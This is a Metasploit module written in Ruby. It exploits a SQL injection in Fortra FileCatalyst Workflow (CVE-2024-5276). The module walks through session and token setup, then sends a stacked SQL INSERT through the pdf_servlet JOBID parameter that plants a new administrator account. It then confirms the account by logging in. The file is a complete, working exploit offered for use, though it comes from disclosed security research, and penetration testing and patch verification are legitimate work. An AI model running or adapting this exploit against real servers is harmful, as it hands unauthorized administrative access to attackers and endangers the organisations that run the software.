require 'digest/md5' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)', 'Description' => %q{ This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135, by adding a new administrative user to the web interface of the application. }, 'Author' => [ 'Tenable', # Discovery and PoC 'Michael Heinzl' # MSF Module ], 'References' => [ ['CVE', '2024-5276'], ['URL', 'https://www.tenable.com/security/research/tra-2024-25'], ['URL', 'https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0'] ], 'DisclosureDate' => '2024-06-25', 'DefaultOptions' => { 'RPORT' => 8080 }, 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username]), OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alphanumeric(16)]), OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email]) ]) end def run print_status('Starting SQL injection workflow...') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'workflow/') ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') end print_good('Server reachable.') raw_res = res.to_s unless raw_res =~ /JSESSIONID=(\w+);/ fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.') end jsessionid = ::Regexp.last_match(1) print_status("JSESSIONID value: #{jsessionid}") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "workflow/jsp/logon.jsp;jsessionid=#{jsessionid}"), 'headers' => { 'Cookie' => "JSESSIONID=#{jsessionid}" } ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end body = res.body unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/ fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.') end token_value = ::Regexp.last_match(1) print_status("FCWEB.FORM.TOKEN value: #{token_value}") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{token_value}"), 'headers' => { 'Cookie' => "JSESSIONID=#{jsessionid}" } ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end unless res.headers['Location'] fail_with(Failure::UnexpectedReply, 'Location header not found.') end location_value = res.headers['Location'] print_status("Redirect #1: #{location_value}") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, location_value.to_s), 'headers' => { 'Cookie' => "JSESSIONID=#{jsessionid}" } ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end unless res.headers['Location'] fail_with(Failure::UnexpectedReply, 'Location header not found.') end location_value = res.headers['Location'] print_status("Redirect #2: #{location_value}") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, location_value.to_s), 'headers' => { 'Cookie' => "JSESSIONID=#{jsessionid}" } ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end html = res.get_html_document h2_tag = html.at_css('h2') unless h2_tag fail_with(Failure::UnexpectedReply, 'h2 tag not found.') end h2_text = h2_tag.text.strip unless h2_text == 'Choose an Order Type' fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag: ' + h2_text) end print_status('Received expected response.') t = Time.now username = datastore['NEW_USERNAME'] password = Digest::MD5.hexdigest(datastore['NEW_PASSWORD']).upcase email = datastore['NEW_EMAIL'] firstname = Faker::Name.first_name lastname = Faker::Name.last_name areacode = rand(100..999) exchangecode = rand(100..999) subscribernumber = rand(1000..9999) phone = format('(%03d) %03d-%04d', areacode: areacode, exchangecode: exchangecode, subscribernumber: subscribernumber) creation = "+#{t.strftime('%s%L')}" pw_creationdate = "+#{t.strftime('%s%L')}" lastlogin = "+#{t.strftime('%s%L')}" vprint_status('Adding New Admin User:') vprint_status("\tUsername: #{username}") vprint_status("\tPassword: #{datastore['NEW_PASSWORD']} (#{password})") vprint_status("\tEmail: #{email}") vprint_status("\tFirstName: #{firstname}") vprint_status("\tLastName: #{lastname}") vprint_status("\tPhone: #{phone}") vprint_status("\tCreation: #{creation}") vprint_status("\tPW_CreationDate: #{pw_creationdate}") vprint_status("\tLastLogin: #{lastlogin}") payload = '1%27%3BINSERT+INTO+DOCTERA_USERS+%28USERNAME%2C+PASSWORD%2C+ENCPASSWORD%2C+FIRSTNAME%2C+LASTNAME%2C+COMPANY%2C' \ 'ADDRESS%2C+ADDRESS2%2C+CITY%2C+STATE%2C+ALTPHONE%2C+ZIP%2C+COUNTRY%2C+PHONE%2C+FAX%2C+EMAIL%2C+LASTLOGIN%2C' \ 'CREATION%2C+PREFERREDSERVER%2C+CREDITCARDTYPE%2C+CREDITCARDNUMBER%2C+CREDITCARDEXPIRY%2C+ACCOUNTSTATUS%2C+USERTYPE%2C' \ 'COMMENT%2C+ADMIN%2C+SUPERADMIN%2C+ACCEPTEMAIL%2C+ALLOWHOTFOLDER%2C+PROTOCOL%2C+BANDWIDTH%2C+DIRECTORY%2C+SLOWSTARTRATE%2C' \ 'USESLOWSTART%2C+SLOWSTARTAGGRESSIONRATE%2C+BLOCKSIZE%2C+UNITSIZE%2C+NUMENCODERS%2C+NUMFTPSTREAMS%2C+ALLOWUSERBANDWIDTHTUNING%2C' \ 'EXPIRYDATE%2C+ALLOWTEMPACCOUNTCREATION%2C+OWNERUSERNAME%2C+USERLEVEL%2C+UPLOADMETHOD%2C+PW_CHANGEABLE%2C+PW_CREATIONDATE%2C' \ "PW_DAYSBEFOREEXPIRE%2C+PW_MUSTCHANGE%2C+PW_USEDPASSWORDS%2C+PW_NUMERRORS%29+VALUES%28%27#{username}%27%2C+NULL%2C+" \ "%27#{password}%27%2C+%27#{firstname}%27%2C+%27#{lastname}%27%2C+%27%27%2C+" \ '%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27202-404-2400%27%2C+%27%27%2C+' \ "%27#{email}%27%2C#{lastlogin}%2C#{creation}%2C+%27default%27%2C+%27%27%2C+%27%27%2C+" \ '%27%27%2C+%27full+access%27%2C+%27%27%2C+%27%27%2C+1%2C+0%2C+0%2C+0%2C+%27DEFAULT%27%2C+%270%27%2C+0%2C+' \ '%270%27%2C+1%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+0%2C+0%2C+0%2C+%27%27%2C+0%2C+' \ "%27DEFAULT%27%2C+0%2C#{pw_creationdate}%2C+-1%2C+0%2C+NULL%2C+0%29%3B--+-" res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "workflow/servlet/pdf_servlet?JOBID=#{payload}"), 'headers' => { 'Cookie' => "JSESSIONID=#{jsessionid}" } ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.body.to_s == '' print_good('SQL injection successful!') print_status('Confirming credentials...') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'workflow/jsp/logon.jsp'), 'headers' => { 'Cookie' => "JSESSIONID=#{jsessionid}" } ) fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res body = res.body unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/ fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.') end token_value = ::Regexp.last_match(1) print_status("FCWEB.FORM.TOKEN value: #{token_value}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'workflow/logon.do'), 'headers' => { 'Cookie' => "JSESSIONID=#{jsessionid}", 'Content-Type' => 'application/x-www-form-urlencoded' }, 'vars_post' => { 'username' => datastore['NEW_USERNAME'], 'password' => datastore['NEW_PASSWORD'], 'FCWEB.FORM.TOKEN' => token_value.to_s, 'submit' => 'Login' } ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end html = res.get_html_document title_block = html.at_css('.titleBlock') unless title_block fail_with(Failure::UnexpectedReply, 'Expected titleBlock not found.') end title_text = title_block.text.strip unless title_text.include?('Administration') fail_with(Failure::UnexpectedReply, 'Expected string "Administration" not found.') end store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html) print_good('Login successful!') print_good("New admin user was successfully injected:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}") print_good("Login at: #{full_uri(normalize_uri(target_uri, 'workflow/jsp/logon.jsp'))}") end end